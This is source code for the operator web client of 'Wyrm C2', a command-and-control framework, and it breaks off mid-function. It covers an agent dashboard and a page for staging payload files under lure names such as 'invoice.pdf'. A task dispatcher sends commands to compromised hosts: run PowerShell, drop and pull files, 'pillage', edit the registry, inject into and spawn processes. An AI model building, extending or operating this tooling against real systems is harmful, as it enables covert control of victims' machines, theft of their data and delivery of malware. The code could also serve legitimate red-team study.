use_context::<RwSignal<HashMap<String, RwSignal<Agent>>>>().expect("no agent map found"); view! { <div id="connected-agent-container" class="container-fluid jetbrains-gui-smaller"> <div id="agents-header" class="row"> <div class="col-2">Hostname</div> <div class="col-2">Username</div> <div class="col-1">Integrity</div> <div class="col-1">PID</div> <div class="col-2">Checked-in</div> <div class="col-4">Process name</div> </div> <div id="agent-rows"> <For each=move || { let mut vals: Vec<RwSignal<Agent>> = agent_map.get().values().cloned().collect(); vals } key=|sig| sig.get().agent_id.clone() let:(agent) > <a href="#" class="jetbrains-gui-smaller" class=("agent-stale", move || agent.get().is_stale) on:click=move |_| { let mut guard = tabs.write(); guard.add_tab(&agent.get().agent_id); } > <div class="row agent-row"> <div class="col-2">{ move || { let id_raw: String = agent.get().agent_id; let part = get_info_from_agent_id(&id_raw, AgentIdSplit::Hostname).unwrap_or("Error"); part.to_string() } }</div> <div class="col-2">{ move || { let id_raw: String = agent.get().agent_id; let part = get_info_from_agent_id(&id_raw, AgentIdSplit::Username).unwrap_or("Error"); part.to_string() } }</div> <div class="col-1">{ move || { let id_raw: String = agent.get().agent_id; let part = get_info_from_agent_id(&id_raw, AgentIdSplit::Integrity).unwrap_or("Error"); part.to_string() } }</div> <div class="col-1">{ move || agent.get().pid }</div> <div class="col-2">{ move || agent.get().last_check_in.to_string() }</div> <div class="col-4">{ move || agent.get().process_name }</div> </div> </a> </For> </div> </div> } } #[component] fn MiddleTabBar() -> impl IntoView { let tabs: RwSignal<ActiveTabs> = use_context().expect("could not get tabs context in CommandInput()"); let agent_map: RwSignal<HashMap<String, RwSignal<Agent>>> = use_context().expect("no agent map found in MiddleTabBar"); view! { <div class="tabbar"> <ul id="tab-bar-ul" class="nav nav-tabs flex-nowrap text-nowrap m-0 px-20"> <li class="nav-item d-flex align-items-center jetbrains-gui-smaller"> <a class="nav-link jetbrains-gui-smaller" class:active=move || tabs.read().active_id.is_none() href="#" on:click=move |_| { let mut guard = tabs.write(); guard.active_id = None } > "Server" </a> </li> <For each=move || { let s: Vec<String> = tabs.read().tabs.iter().cloned().collect(); s } key=|tab| tab.clone() children=move |tab: String| { view! { <li class="nav-item d-flex align-items-center"> <a class="nav-link" class:active={{ let value = tab.clone(); move || { let resolved = resolve_tab_to_agent_id(&value, &agent_map.get()) .unwrap_or_else(|| value.clone()); match tabs.read().active_id.clone() { Some(active) => active == resolved || active == value, None => false, } } }} href="#" on:click={ let value = tab.clone(); move |_| { let mut guard = tabs.write(); (*guard).active_id = Some(value.clone()) } } > { let label = get_agent_tab_name(&tab).unwrap_or_else(|| tab.clone()); label.clone() } </a> <button on:click=move |_| { let mut guard = tabs.write(); (*guard).remove_tab(&tab.clone()); } class="btn btn-sm btn-close ms-2" aria-label="Close" name="index" style="font-size:0.6rem;"></button> </li> } } /> </ul> </div> } } #[component] fn MessagePanel() -> impl IntoView { let agent_map = use_context::<RwSignal<HashMap<String, RwSignal<Agent>>>>().expect("no agent map found"); let tabs: RwSignal<ActiveTabs> = use_context().expect("could not get tabs context in MessagePanel()"); let messages = Memo::new(move |_| { let map = agent_map.get(); let Some(agent_id) = tabs .read() .active_id .clone() .and_then(|id| resolve_tab_to_agent_id(&id, &map)) else { return Vec::new(); }; // Pull any cached messages for the active agent so we can hydrate the UI even if // the in-memory signal missed the first server responses. let stored = get_item_from_browser_store::<Vec<TabConsoleMessages>>( &wyrm_chat_history_browser_key(&agent_id), ) .ok(); if let Some(agent_sig) = map.get(&agent_id) { // If the cache contains messages we don't have in memory yet, merge them in by ID. if let Some(stored) = &stored { agent_sig.update(|agent| { let mut seen: HashSet<i32> = agent .output_messages .iter() .map(|m| m.completed_id) .collect(); for msg in stored { if seen.insert(msg.completed_id) { agent.output_messages.push(msg.clone()); } } }); } agent_sig.with(|agent| { agent .output_messages .iter() .enumerate() .map(|(idx, msg)| { let key = format!("{agent_id}-{}-{idx}", msg.completed_id); (key, msg.clone()) }) .collect::<Vec<_>>() }) } else { // Fallback: no live agent signal, but we still have cached messages to show. stored .unwrap_or_default() .into_iter() .enumerate() .map(|(idx, msg)| { let key = format!("{agent_id}-{}-{idx}", msg.completed_id); (key, msg) }) .collect::<Vec<_>>() } }); let message_panel_ref = NodeRef::<html::Div>::new(); let should_auto_scroll = RwSignal::new(true); let on_scroll = { let message_panel_ref = message_panel_ref.clone(); move |_| { if let Some(panel) = message_panel_ref.get() { let max_scroll_top = panel.scroll_height() - panel.client_height(); let near_bottom_threshold = (max_scroll_top - 24).max(0); let is_near_bottom = panel.scroll_top() >= near_bottom_threshold; should_auto_scroll.set(is_near_bottom); } } }; Effect::new({ let message_panel_ref = message_panel_ref.clone(); move |_| { let _ = messages.with(|msgs| msgs.len()); if !should_auto_scroll.get() { return; } if let Some(panel) = message_panel_ref.get() { panel.set_scroll_top(panel.scroll_height()); } } }); view! { <div id="message-panel" class="container-fluid" node_ref=message_panel_ref on:scroll=on_scroll > <For each=move || messages.get() key=|entry: &(String, TabConsoleMessages)| entry.0.clone() children=move |entry: (String, TabConsoleMessages)| { let (_key, line) = entry; view! { <div class="console-line jetbrains-gui"> <span class="time">"["{ line.time }"]"</span> <span class="evt">"["{ line.event }"]"</span> <For each=move || line.messages.clone() key=|msg_line: &String| msg_line.clone() children=move |msg_line: String| { let split_lines: Vec<String> = msg_line .split('\n') .map(|s| s.to_string()) .collect(); view! { <div class="msg"> <For each=move || split_lines.clone() key=|line: &String| line.clone() children=move |text: String| { view! { <p class="msg-line jetbrains-gui">{ text }</p> } } /> </div> } } /> </div> } } /> </div> <CommandInput /> } } #[component] fn CommandInput() -> impl IntoView { let input_data = RwSignal::new(String::new()); let agent_map = use_context::<RwSignal<HashMap<String, RwSignal<Agent>>>>().expect("no agent map found"); let tabs: RwSignal<ActiveTabs> = use_context().expect("could not get tabs context in CommandInput()"); let submit_input = Action::new_local(move |input: &String| { let input = input.clone(); let map = agent_map.get(); let agent_id = tabs .read() .active_id .clone() .and_then(|id| resolve_tab_to_agent_id(&id, &map)) .expect("could not resolve agent id from active tab"); async move { dispatch_task(input, IsTaskingAgent::Yes(agent_id)).await } }); view! { <div id="input-strip" class="d-flex align-items-center px-3"> <span class="me-2">>></span> <form on:submit=move |ev| { ev.prevent_default(); if input_data.get().is_empty() { return; } // // Push the input message by the user into the currently selected // agent. // let map = agent_map.get(); let agent_id = tabs .read() .active_id .clone() .and_then(|id| resolve_tab_to_agent_id(&id, &map)) .expect("could not resolve agent id from active tab"); let agent_sig = map.get(&agent_id).unwrap(); // Get a snapshot of the input and work with that let input_val = input_data.get(); let time = Utc::now().to_string(); let msg = TabConsoleMessages { completed_id: 0, event: "User Input".to_string(), time, messages: vec![input_val.clone()], }; agent_sig.update(move |agent| agent.output_messages.push(msg.clone())); submit_input.dispatch(input_val); // Clear the input UI box input_data.set(String::new()); } autocomplete="off" class="d-flex flex-grow-1" > <Show when=move || tabs.read().active_id.is_some() fallback=|| view! { "Please select an agent to use the input bar." } > <input id="cmd_input" name="cmd_input" type="text" class="flex-grow-1" placeholder="Type a command..." bind:value=input_data /> <button class="btn btn-sm btn-secondary btn-block">"Send"</button> </Show> </form> </div> } } ================================================ FILE: client/src/pages/file_upload.rs ================================================ use gloo_net::http::Request; use leptos::task::spawn_local; use leptos::wasm_bindgen::JsCast; use leptos::{IntoView, component, prelude::*, view}; use leptos_router::hooks::use_navigate; use web_sys::{ FileReader, FormData, HtmlFormElement, HtmlInputElement, RequestCredentials, js_sys, wasm_bindgen, }; use crate::controller::get_item_from_browser_store; use crate::models::C2_STORAGE_KEY; use crate::pages::logged_in_headers::LoggedInHeaders; #[component] pub fn FileUploadPage() -> impl IntoView { let submitting = RwSignal::new(false); view! { <LoggedInHeaders /> <div id="file-upload-container" class="container-fluid py-4 app-page"> <div class="row mb-4"> <div class="col-12 text-center"> <h2 class="mb-2 fw-bold">Upload a File</h2> <p>Easily stage files for download and delivery, use the below form to upload a file. Note, the maximum upload size is whatever you set in your environment settings, or defaults to 500 mb. </p> </div> </div> <div class="row justify-content-center"> <div class="col-md-7 col-lg-6"> <form id="file-upload-form" autocomplete="off" enctype="multipart/form-data" on:submit=move |ev| { use wasm_bindgen::closure::Closure; ev.prevent_default(); submitting.set(true); let form = ev.target().unwrap().dyn_into::<HtmlFormElement>().unwrap(); let download_name = form .elements() .named_item("download_name") .and_then(|el| el.dyn_into::<HtmlInputElement>().ok()) .map(|input| input.value()) .unwrap_or_default(); let staging_uri = form .elements() .named_item("staging_uri") .and_then(|el| el.dyn_into::<HtmlInputElement>().ok()) .map(|input| input.value()) .unwrap_or_default(); let file_input = form .elements() .named_item("file_input") .and_then(|el| el.dyn_into::<HtmlInputElement>().ok()) .and_then(|input| input.files()) .and_then(|files| files.get(0)); let mut download_api = staging_uri.trim().to_string(); if download_api.starts_with("/") { download_api = download_api.strip_prefix("/").unwrap().to_string(); } if let Some(file) = file_input { let file_reader = FileReader::new().unwrap(); let fr_c = file_reader.clone(); let download_name = download_name.clone(); let download_api = download_api.clone(); let navigate = use_navigate(); let status_el = web_sys::window() .and_then(|w| w.document()) .and_then(|d| d.get_element_by_id("upload-status")); let c2_addr = get_item_from_browser_store::<String>(C2_STORAGE_KEY) .unwrap_or_default() .replace("\"", ""); let c2_addr = c2_addr.trim_end_matches('/').to_string(); let value = file.clone(); let onload = Closure::wrap(Box::new(move |_e: web_sys::Event| { let result = fr_c.result().unwrap(); let _array = js_sys::Uint8Array::new(&result); let form = FormData::new().unwrap(); form.append_with_str("download_name", &download_name).unwrap(); form.append_with_str("api_endpoint", &download_api).unwrap(); form.append_with_blob("file", &value).unwrap(); let url = format!("{}/admin_upload", c2_addr); let status_el = status_el.clone(); let navigate = navigate.clone(); spawn_local(async move { let resp = Request::post(&url) .credentials(RequestCredentials::Include) .body(form) .unwrap() .send() .await; match resp { Ok(r) if r.status() == 202 => { if let Some(el) = status_el.as_ref() { el.set_inner_html("Upload complete."); } navigate("/dashboard", Default::default()); } Ok(r) => { if let Some(el) = status_el.as_ref() { el.set_inner_html(&format!( "Upload failed. Status {}", r.status() )); } } Err(e) => { if let Some(el) = status_el.as_ref() { el.set_inner_html(&format!( "Upload failed. {}", e )); } } } submitting.set(false); }); }) as Box<dyn FnMut(_)>); file_reader.set_onload(onload.as_ref().dyn_ref()); file_reader.read_as_array_buffer(&file).unwrap(); onload.forget(); } else { submitting.set(false); } } class="border rounded-3 p-4 shadow-sm" > <div class="mb-3"> <label for="download_name" class="form-label fw-semibold">Download Name (INCLUDING file extension)</label> <input type="text" class="form-control" placeholder="invoice.pdf" name="download_name" id="download_name" required /> <div class="form-text">Include the file extension (e.g. <strong>.pdf</strong>, <strong>.exe</strong>). This is the name that will be downloaded onto the machine of the person downloading (e.g. what the browser will save it as), unless you grab it programmatically.</div> </div> <div class="mb-3"> <label for="staging_uri" class="form-label fw-semibold">Staging C2 URI Endpoint</label> <input type="text" class="form-control" placeholder="contracts/microsoft/2025/msft_contract_25&auth=..." name="staging_uri" id="staging_uri" required /> <div class="form-text">Multi-path and URL params allowed. Example: <code>download</code> or <code>files/secret?auth=token</code>. Note: the server will reject the path if it contains a space, so do not include a space here.</div> </div> <div class="mb-3"> <label for="file_input" class="form-label fw-semibold">Choose File</label> <input class="form-control" type="file" id="file_input" name="file_input" required /> </div> <button type="submit" class="btn btn-primary w-100 py-2 fw-bold" disabled=move || submitting.get()> {move || if submitting.get() { "Uploading..." } else { "Upload" }} </button> </form> <div id="upload-status" class="mt-3"></div> </div> </div> </div> } } ================================================ FILE: client/src/pages/logged_in_headers.rs ================================================ use leptos::wasm_bindgen::JsCast; use leptos::{IntoView, component, prelude::*, task::spawn_local, view}; use leptos_router::hooks::use_navigate; use crate::controller::{BodyClass, apply_body_class, is_logged_in}; /// Creates the header section of a page which is behind token authentication; this will make a request to the /// C2 to ensure that the user is logged in - whilst also applying the necessary styles for the logged in area. /// /// This will render the nav bar, and anything you would expect to be in the 'headers' section, (not 'head'). #[component] pub fn LoggedInHeaders() -> impl IntoView { // Apply the `app` class to the body for our CSS stuff apply_body_class(BodyClass::App); let (checked_login, set_checked_login) = signal(false); let (logged_in, set_logged_in) = signal(true); Effect::new(move |_| { if checked_login.get() { return; } set_checked_login.set(true); spawn_local({ async move { let logged_in_result = is_logged_in().await; set_logged_in.set(logged_in_result); } }); }); Effect::new(move || { if !logged_in.get() { let navigate = use_navigate(); navigate("/", Default::default()); } }); // Create a reactive signal for the current URL first segment and // initialize history hooks via helper to keep component body clean. let url_path = create_url_path_signal(); // // Build the header section of the page // view! { <nav class="navbar navbar-expand-lg"> <div class="container-fluid"> <a class="navbar-brand plain" href="/dashboard">Wyrm C2</a> <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarSupportedContent"> <ul class="navbar-nav me-auto mb-2 mb-lg-0"> <li class="nav-item"> <a class="nav-link" class=("active", move || url_path.get().eq("dashboard")) aria-current="page" href="/dashboard"> Dashboard </a> </li> <li class="nav-item"> <a class="nav-link" class=("active", move || url_path.get().eq("file_upload")) aria-current="page" href="/file_upload"> Upload </a> </li> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" role="button" data-bs-toggle="dropdown" aria-expanded="false"> Preparation </a> <ul class="dropdown-menu"> <li> <a class="dropdown-item" class=("active", move || url_path.get().eq("build_profiles")) href="/build_profiles"> Build all agents </a> </li> <li><a class="dropdown-item disabled" href="#">Website clone</a></li> <li><hr class="dropdown-divider" /></li> <li> <a class="dropdown-item" class=("active", move || url_path.get().eq("staged_resources")) href="/staged_resources"> View staged resources </a> </li> </ul> </li> <li class="nav-item"> <a class="nav-link" href="/logout">Logout</a> </li> </ul> </div> </div> </nav> } } /// Extracts the first non-empty path segment from the current browser URL. fn extract_path() -> Option<String> { let window = web_sys::window()?; let pathname = window.location().pathname().ok()?; let first_segment = pathname .split('/') .find(|s| !s.is_empty()) .unwrap_or("") .to_string(); Some(first_segment) } fn create_url_path_signal() -> RwSignal<String> { let initial = extract_path().unwrap_or_default(); let url_path = RwSignal::new(initial); if let Some(win) = web_sys::window() { if let Some(doc) = win.document() { if let Ok(script) = doc.create_element("script") { script.set_inner_html(r#" (function(){ if (window.__wyrm_history_hook_installed) return; const _push = history.pushState; history.pushState = function(){ _push.apply(this, arguments); window.dispatchEvent(new Event('locationchange')); }; const _replace = history.replaceState; history.replaceState = function(){ _replace.apply(this, arguments); window.dispatchEvent(new Event('locationchange')); }; window.addEventListener('popstate', function(){ window.dispatchEvent(new Event('locationchange')); }); window.__wyrm_history_hook_installed = true; })(); "#); if let Some(head) = doc.head() { let _ = head.append_child(&script); } } } let url_path_clone = url_path; let closure = leptos::wasm_bindgen::closure::Closure::wrap(Box::new(move |_ev: web_sys::Event| { let new = extract_path().unwrap_or_else(|| "".to_string()); url_path_clone.set(new); }) as Box<dyn FnMut(_)>); let _ = win .add_event_listener_with_callback("locationchange", closure.as_ref().unchecked_ref()); closure.forget(); } url_path } ================================================ FILE: client/src/pages/login.rs ================================================ use leptos::prelude::*; use leptos_router::hooks::use_navigate; use shared::tasks::AdminCommand; use crate::{ controller::{BodyClass, apply_body_class, store_item_in_browser_store}, models::{C2_STORAGE_KEY, LoginData}, net::{ApiError, C2Url, IsTaskingAgent, api_request}, }; #[component] pub fn Login() -> impl IntoView { let navigate = use_navigate(); let c2_addr = RwSignal::new("".to_string()); let username = RwSignal::new("".to_string()); let password = RwSignal::new("".to_string()); let login_data = RwSignal::new(LoginData::default()); // Inner HTML container for the error box let login_box_html = RwSignal::new("".to_string()); let submit_page = Action::new_local(|input: &LoginData| { let input = input.clone(); async move { api_request( AdminCommand::Login, &IsTaskingAgent::No, Some((input.username, input.password)), C2Url::Custom(input.c2_addr), None, ) .await } }); let submit_value = submit_page.value(); Effect::new(move |_| { submit_value.with(|inner| { if let Some(response) = inner { match response { Ok(_) => { store_item_in_browser_store( C2_STORAGE_KEY, &c2_addr.get() ).expect("could not store c2 url"); navigate("/dashboard", Default::default()); } Err(e) => match e { ApiError::Reqwest(e) => { login_box_html.set( format!(r#"<div class="mt-3 alert alert-danger" role="alert">Error making request: {}</div>"#, e) ); }, ApiError::BadStatus(code, _) => { if *code == 404 { login_box_html.set(r#"<div class="mt-3 alert alert-danger" role="alert">Invalid credentials</div>"#.to_string()); } else { login_box_html.set(format!(r#"<div class="mt-3 alert alert-danger" role="alert">Error making request: {}</div>"#, e)); } }, }, } } }) }); apply_body_class(BodyClass::Login); view! { <div class="login-container"> <div class="grid text-center"> <form on:submit=move |ev| { ev.prevent_default(); // dont reload login_data.set(LoginData { c2_addr: c2_addr.get(), username: username.get(), password: password.get(), }); submit_page.dispatch(login_data.get()); } autocomplete="off" class="form-signin"> <img class="mb-4 logo" src="/static/wyrm_portrait.png" alt="" /> <h1 class="h3 mb-3 font-weight-normal"> "Please sign in" </h1> <label for="c2" class="sr-only">C2 address (and port if non-standard)</label> <input bind:value=c2_addr type="url" id="c2" name="c2" autocomplete="url" class="form-control" placeholder="https://myc2.com" required autofocus /> <label for="username" class="sr-only">Username</label> <input bind:value=username type="text" id="username" name="login_user" autocomplete="off" data-1p-ignore data-bwignore data-lpignore class="form-control" placeholder="Username" required /> <label for="password" class="sr-only">Password</label> <input bind:value=password type="password" id="password" name="login_pass" data-1p-ignore data-bwignore data-lpignore autocomplete="off" class="form-control" placeholder="Password" required /> <button type="submit" class="btn btn-lg btn-primary btn-block"> "Sign in" </button> <div id="login-box" inner_html=login_box_html></div> </form> <footer> <p class="mt-5 mb-3"> "© Wyrm C2 " <a href="https://github.com/0xflux/" target="_blank"> 0xflux </a> </p> </footer> </div> </div> } } ================================================ FILE: client/src/pages/logout.rs ================================================ use leptos::{component, prelude::*}; use leptos_router::hooks::use_navigate; use shared::tasks::AdminCommand; use web_sys::{js_sys::Reflect, window}; use crate::net::{C2Url, IsTaskingAgent, api_request}; #[component] pub fn Logout() -> impl IntoView { let send_request = Action::new_local(|_: &()| async move { api_request( AdminCommand::None, &IsTaskingAgent::No, None, C2Url::Standard, Some("logout_admin"), ) .await }); let logout_response = send_request.value(); Effect::new(move |_| { logout_response.with(|inner| { if let Some(res) = inner { match res { Ok(_) => (), Err(e) => { leptos::logging::error!("Error in response: {e}"); } } // Clear the session cookie by setting it to expire in the past if let Some(window) = window() { if let Some(doc) = window.document() { let cookie_str = "session=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;"; if let Ok(val) = Reflect::set(&doc, &"cookie".into(), &cookie_str.into()) { if !val { leptos::logging::error!("Failed to set cookie to clear 'session'"); } } } } let navigate = use_navigate(); navigate("/", Default::default()); } }) }); Effect::new(move |_| { send_request.dispatch(()); }); view! {} } ================================================ FILE: client/src/pages/mod.rs ================================================ pub mod build_profiles; pub mod dashboard; pub mod file_upload; pub mod logged_in_headers; pub mod login; pub mod logout; pub mod staged_resources; ================================================ FILE: client/src/pages/staged_resources.rs ================================================ use leptos::{component, prelude::*}; use shared::StagedResourceDataNoSqlx; use shared::tasks::{AdminCommand, WyrmResult}; use crate::{ net::{C2Url, IsTaskingAgent, api_request}, pages::logged_in_headers::LoggedInHeaders, }; #[derive(Clone, Debug)] pub struct StagedResourcesRowInner { download_name: String, uri: String, num_downloads: i64, } #[component] pub fn StagedResourcesPage() -> impl IntoView { let staged_rows: RwSignal<Vec<StagedResourcesRowInner>> = RwSignal::new(vec![]); let fetch_resources = Action::new_local(|_: &()| async move { api_request( AdminCommand::ListStagedResources, &IsTaskingAgent::No, None, C2Url::Standard, None, ) .await }); let staged_resources_response = fetch_resources.value(); Effect::new(move |_| { staged_resources_response.with(|inner| { if let Some(res) = inner { match res { Ok(res) => { let inner: WyrmResult<Vec<StagedResourceDataNoSqlx>> = serde_json::from_slice(&res).unwrap(); let inner = inner.unwrap(); { let mut guard = staged_rows.write(); for line in inner { (*guard).push(StagedResourcesRowInner { download_name: line.pe_name, uri: line.staged_endpoint, num_downloads: line.num_downloads, }); } } } Err(e) => { leptos::logging::error!("Failed to get response for staged data. {e}") } } } }) }); Effect::new(move |_| { fetch_resources.dispatch(()); }); view! { <LoggedInHeaders /> <div class="container-fluid py-4 app-page"> <div class="row mb-4"> <div class="col-12 text-center"> <h2 class="mb-2 fw-bold">Staged resources</h2> <p>Here you can view resources you have staged on the C2 and their URI. </p> </div> </div> <div class="container"> <div class="table-responsive"> <table id="staged-resources-tbl" class="table table-sm align-middle"> <thead class="table"> <tr> <th class="col">Download name</th> <th class="col">URI</th> <th class="col"># downloads</th> </tr> </thead> <tbody id="staged-resource-rows"> <For each=move || staged_rows.get() key=|row: &StagedResourcesRowInner| row.download_name.clone() children=move |row: StagedResourcesRowInner| { view! { <tr> <td class="col">{ row.download_name }</td> <td class="col">{ row.uri }</td> <td class="col">{ row.num_downloads }</td> </tr> } } /> <Show when=move || staged_rows.get().is_empty()> <tr> <td class="col">You currently have no staged resources.</td> <td class="col"></td> <td class="col"></td> </tr> </Show> </tbody> </table> </div> </div> </div> } } ================================================ FILE: client/src/tasks/mod.rs ================================================ pub mod task_dispatch; pub mod task_impl; mod utils; ================================================ FILE: client/src/tasks/task_dispatch.rs ================================================ use std::{collections::HashMap, process::exit}; use chrono::Utc; use leptos::prelude::{RwSignal, Update, Write, use_context}; use thiserror::Error; use crate::{ models::dashboard::{Agent, TabConsoleMessages}, net::{ApiError, IsTaskingAgent, IsTaskingAgentErr}, tasks::task_impl::{ FileOperationTarget, RegOperationDelQuery, TaskDispatchError, change_directory, clear_terminal, copy_file, dir_listing, dotex, export_db, file_dropper, inject, kill_agent, kill_process, list_processes, move_file, pillage, pull_file, pwd, reg_add, reg_query_del, remove_agent, remove_file, run_powershell_command, run_static_wof, set_sleep, show_help, show_help_for_command, show_server_time, spawn, unknown_command, whoami, }, }; #[derive(Error, Debug)] pub enum TaskingError { #[error("Error deserialising data {0}.")] SerdeError(#[from] serde_json::Error), #[error("API error {0}.")] ApiError(#[from] ApiError), #[error("Error trying to get agent to task.")] IsTaskingAgentErr(#[from] IsTaskingAgentErr), #[error("Dispatch error: {0}")] TaskDispatchError(#[from] TaskDispatchError), } pub type DispatchResult = Result<Option<Vec<u8>>, TaskingError>; /// Entry point into dispatching tasks on the C2 pub async fn dispatch_task(input: String, agent: IsTaskingAgent) -> DispatchResult { // Collect each token individually let input_cl = input.clone(); let tokens: Vec<&str> = input_cl.split_whitespace().collect(); let result = dispatcher(tokens, input, agent.clone()).await; // Handle the error output for the user if let Err(ref e) = result { if let IsTaskingAgent::Yes(agent_id) = agent { let connected_agents: RwSignal<HashMap<String, RwSignal<Agent>>> = use_context().expect("could not get RwSig connected_agents"); let mut guard = connected_agents.write(); if let Some(agent) = (*guard).get_mut(&agent_id) { agent.update(|lock| { lock.output_messages.push(TabConsoleMessages { completed_id: 0, event: "[Error dispatching task]".to_string(), time: Utc::now().to_string(), messages: vec![e.to_string()], }) }); } } } result } async fn dispatcher(tokens: Vec<&str>, raw_input: String, agent: IsTaskingAgent) -> DispatchResult { if tokens.is_empty() { return Ok(None); } // // Important note on usage: // // If you want to tokenise input where there could be multiple spaces and other tokens such as // ", then in the below rather than passing the pattern (which is an array of single chars), pass // the `raw_input` param which contains the unmodified, unflattened, and un-tokenised version of what // the user passed in. // match tokens.as_slice() { [""] | [" "] => Ok(None), // generic ["exit"] | ["quit"] => exit(0), ["clear"] | ["cls"] => clear_terminal(&agent).await, ["servertime"] => show_server_time().await, ["help"] => show_help(&agent).await, ["help", arg] => show_help_for_command(&agent, arg).await, // on &agent ["export_db"] => export_db(&agent).await, ["set", "sleep", time] => set_sleep(time, &agent).await, ["ps"] => list_processes(&agent).await, ["cd", pat @ ..] => change_directory(pat, &agent).await, ["pwd"] => pwd(&agent).await, ["kill_agent" | "ka"] => kill_agent(&agent).await, ["kill", pid] => kill_process(&agent, pid).await, ["remove_agent" | "ra"] => remove_agent(&agent).await, ["ls"] => dir_listing(&agent).await, ["pillage"] => pillage(&agent).await, ["run", args @ ..] => run_powershell_command(args, &agent).await, ["drop", args @ ..] => file_dropper(args, &agent).await, ["cp", _p @ ..] | ["copy", _p @ ..] => copy_file(raw_input, &agent).await, ["mv", _p @ ..] | ["move", _p @ ..] => move_file(raw_input, &agent).await, ["rm", _p @ ..] => remove_file(raw_input, FileOperationTarget::File, &agent).await, ["rm_d", _p @ ..] => remove_file(raw_input, FileOperationTarget::Dir, &agent).await, ["pull", _p @ ..] => pull_file(raw_input, &agent).await, ["reg", "query", _pat @ ..] => { reg_query_del(raw_input, &agent, RegOperationDelQuery::Query).await } ["reg", "add", _p @ ..] => reg_add(raw_input, &agent).await, ["reg", "del", _p @ ..] => { reg_query_del(raw_input, &agent, RegOperationDelQuery::Delete).await } ["dotex", _p @ ..] => dotex(raw_input, &agent).await, ["whoami"] => whoami(&agent).await, ["spawn", _p @ ..] => spawn(raw_input, &agent).await, ["wof", _p @ ..] => run_static_wof(&agent, raw_input).await, ["inject", _p @ ..] => inject(&agent, raw_input).await, _ => unknown_command(), } } ================================================ FILE: client/src/tasks/task_impl.rs ================================================ use std::{collections::HashMap, mem::take}; use chrono::{DateTime, Utc}; use leptos::prelude::{Read, RwSignal, Update, Write, use_context}; use shared::{ task_types::{RegAddInner, RegQueryInner, RegType}, tasks::{ AdminCommand, DELIM_FILE_DROP_METADATA, DotExInner, FileDropMetadata, InjectInnerForAdmin, InjectInnerForPayload, WyrmResult, }, }; use thiserror::Error; use crate::{ controller::{delete_item_in_browser_store, wyrm_chat_history_browser_key}, models::dashboard::{ActiveTabs, Agent, TabConsoleMessages}, net::{ApiError, C2Url, IsTaskingAgent, IsTaskingAgentErr, api_request}, tasks::{ task_dispatch::{DispatchResult, TaskingError}, utils::{DiscardFirst, split_string_slices_to_n, validate_reg_type}, }, }; #[derive(Debug, Error)] pub enum TaskDispatchError { #[error("API Error {0}.")] Api(#[from] ApiError), #[error("Bad tokens in input {0}")] BadTokens(String), #[error("Agent ID not present in task dispatch")] AgentIdMissing(#[from] IsTaskingAgentErr), #[error("Failed to serialise/deserialise data. {0}")] DeserialisationError(#[from] serde_json::Error), } pub async fn list_processes(agent: &IsTaskingAgent) -> DispatchResult { agent.has_agent_id()?; Ok(Some( api_request( AdminCommand::ListProcesses, agent, None, C2Url::Standard, None, ) .await?, )) } pub async fn change_directory(new_dir: &[&str], agent: &IsTaskingAgent) -> DispatchResult { agent.has_agent_id()?; let new_dir = new_dir.join(" ").trim().to_string(); Ok(Some( api_request( AdminCommand::Cd(new_dir), agent, None, C2Url::Standard, None, ) .await?, )) } pub async fn kill_agent(agent: &IsTaskingAgent) -> DispatchResult { agent.has_agent_id()?; let _ = api_request(AdminCommand::KillAgent, agent, None, C2Url::Standard, None).await?; let tabs: RwSignal<ActiveTabs> = use_context().expect("could not get tabs context in kill_agent()"); // Remove the tab from the GUI - doing so will autosave the chat if let IsTaskingAgent::Yes(agent_id) = agent { tabs.update(|t| t.remove_tab(agent_id)); } Ok(None) } pub async fn kill_process(agent: &IsTaskingAgent, pid: &&str) -> DispatchResult { agent.has_agent_id()?; // Validate, even through we pass a String - check it client side let pid_as_int: i32 = pid.parse().unwrap_or(0); if pid.is_empty() || pid_as_int == 0 { return Err(TaskingError::TaskDispatchError( TaskDispatchError::BadTokens("No pid or non-numeric supplied.".into()), )); } Ok(Some( api_request( AdminCommand::KillProcessById(pid.to_string()), agent, None, C2Url::Standard, None, ) .await?, )) } /// Dispatching function for instructing the agent to copy a file. /// /// # Args /// - `from`: Where to copy from /// - `to`: Where to copy to` pub async fn copy_file(raw_input: String, agent: &IsTaskingAgent) -> DispatchResult { agent.has_agent_id()?; let (from, to) = match split_string_slices_to_n(2, &raw_input, DiscardFirst::Chop) { Some(mut inner) => { let from = take(&mut inner[0]); let to = take(&mut inner[1]); (from, to) } None => { return Err(TaskingError::TaskDispatchError( TaskDispatchError::BadTokens("Could not get data from tokens in copy_file.".into()), )); } }; Ok(Some( api_request( AdminCommand::Copy((from, to)), agent, None, C2Url::Standard, None, ) .await?, )) } /// Dispatching function for instructing the agent to copy a file. /// /// # Args /// - `from`: Where to copy from /// - `to`: Where to copy to` pub async fn move_file(raw_input: String, agent: &IsTaskingAgent) -> DispatchResult { agent.has_agent_id()?; let (from, to) = match split_string_slices_to_n(2, &raw_input, DiscardFirst::Chop) { Some(mut inner) => { let from = take(&mut inner[0]); let to = take(&mut inner[1]); (from, to) } None => { return Err(TaskingError::TaskDispatchError( TaskDispatchError::BadTokens("Could not get data from tokens in move_file.".into()), )); } }; Ok(Some( api_request( AdminCommand::Move((from.to_string(), to.to_string())), agent, None, C2Url::Standard, None, ) .await?, )) } #[derive(Copy, Clone)] pub enum FileOperationTarget { Dir, File, } pub async fn remove_file( raw_input: String, target: FileOperationTarget, agent: &IsTaskingAgent, ) -> DispatchResult { agent.has_agent_id()?; let target_path = match split_string_slices_to_n(1, &raw_input, DiscardFirst::Chop) { Some(mut inner) => take(&mut inner[0]), None => { return Err(TaskingError::TaskDispatchError( TaskDispatchError::BadTokens("Could not get data from tokens in move_file.".into()), )); } }; let result = match target { FileOperationTarget::Dir => { api_request( AdminCommand::RmDir(target_path), agent, None, C2Url::Standard, None, ) .await? } FileOperationTarget::File => { api_request( AdminCommand::RmFile(target_path), agent, None, C2Url::Standard, None, ) .await? } }; Ok(Some(result)) } /// Pull a single file from the target machine pub async fn pull_file(target: String, agent: &IsTaskingAgent) -> DispatchResult { agent.has_agent_id()?; if target.is_empty() { leptos::logging::error!("Pull command failed - Please specify a target file"); } let target = match split_string_slices_to_n(1, &target, DiscardFirst::Chop) { Some(mut inner) => take(&mut inner[0]), None => { return 